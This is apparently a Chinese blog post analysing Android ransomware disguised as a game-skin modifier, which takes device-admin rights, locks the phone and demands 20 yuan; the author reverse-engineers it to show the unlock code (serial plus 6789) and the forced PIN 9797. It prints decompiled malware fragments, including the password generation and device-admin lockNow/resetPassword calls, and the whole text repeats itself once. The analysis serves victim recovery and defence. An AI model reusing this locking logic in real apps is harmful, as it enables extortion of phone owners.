王者皮肤修改器.apk在安装时,会弹出是滞要激活设备管理器的提示,如下:

用户点击了【激活】以后,就悲剧了,如下:

无论按什么键都没用,关机也没用,一开机就是这个样子。
解锁就要20元,这种行为太恶心。
言归正传,我们把代码进行逆向,关键代码如下:
@Override
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));//产生一个随机数
this.passw = new Long(this.pass + 6789);//随机数+6789,本次测试的为41006237
this.des = new DU("flower");//用字符串“flower”产生一个KEY
try
{
this.des = new DU(this.des.decrypt("c29fe56fa59ab0db"));DES解密后得到字符串“xxx”,再用"xxx"产生一个key
this.share = getSharedPreferences("Flowers", 0);将内容存储在shred_prefs/Flowers.xml文件中
this.editor = this.share.edit();
//把产生的随机数存储成“m”字段的内容
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
}
catch (Exception localException2)
{
try
{
//产生的随机数,本次测试的“41006237”,使用“xxx”产生key进行DES加密后存入passw字段中
this.editor.putString("passw", this.des.encrypt("" + this.passw));
this.editor.commit();
简单点说就是:
1、先产生一个随机的数m,就是屏幕上看到的序列号
2、使用字符串“flower”产生一个KEY,对字符串"c29fe56fa59ab0db"DES解密后得到字符串“xxx”
3、使用"xxx"产生一个key,对第一步中产生的随机数m+6789进行DES加密,生成passw
4、将随机的数m,就是屏幕上看到的序列号,和加密后的passw保存在Flowers.xml文件中
使用ADB SHELL CAT一下:

分析完了,反过来写解密码函数就很简单了,就是随机数m,就是屏幕上看到的序列号,加上6789得到的数,就是密码!
41006237+6789=41013026
输入密码后,程序就退出了,以为这就结束了,还没有。因为恶意代码把你的PIN密码改成了9797:

修改代码如下:
String str = Integer.toString(9797);
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(str, 0);
好了,这就可以彻底恢复了。
为了大家手机的安全,特写本文。
最后,感谢树栋的帮助。
用户点击了【激活】以后,就悲剧了,如下:
无论按什么键都没用,关机也没用,一开机就是这个样子。
解锁就要20元,这种行为太恶心。
言归正传,我们把代码进行逆向,关键代码如下:
@Override
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));//产生一个随机数
this.passw = new Long(this.pass + 6789);//随机数+6789,本次测试的为41006237
this.des = new DU("flower");//用字符串“flower”产生一个KEY
try
{
this.des = new DU(this.des.decrypt("c29fe56fa59ab0db"));DES解密后得到字符串“xxx”,再用"xxx"产生一个key
this.share = getSharedPreferences("Flowers", 0);将内容存储在shred_prefs/Flowers.xml文件中
this.editor = this.share.edit();
//把产生的随机数存储成“m”字段的内容
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
}
catch (Exception localException2)
{
try
{
//产生的随机数,本次测试的“41006237”,使用“xxx”产生key进行DES加密后存入passw字段中
this.editor.putString("passw", this.des.encrypt("" + this.passw));
this.editor.commit();
简单点说就是:
1、先产生一个随机的数m,就是屏幕上看到的序列号
2、使用字符串“flower”产生一个KEY,对字符串"c29fe56fa59ab0db"DES解密后得到字符串“xxx”
3、使用"xxx"产生一个key,对第一步中产生的随机数m+6789进行DES加密,生成passw
4、将随机的数m,就是屏幕上看到的序列号,和加密后的passw保存在Flowers.xml文件中
使用ADB SHELL CAT一下:
分析完了,反过来写解密码函数就很简单了,就是随机数m,就是屏幕上看到的序列号,加上6789得到的数,就是密码!
41006237+6789=41013026
输入密码后,程序就退出了,以为这就结束了,还没有。因为恶意代码把你的PIN密码改成了9797:
修改代码如下:
String str = Integer.toString(9797);
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(str, 0);
好了,这就可以彻底恢复了。
为了大家手机的安全,特写本文。
最后,感谢树栋的帮助。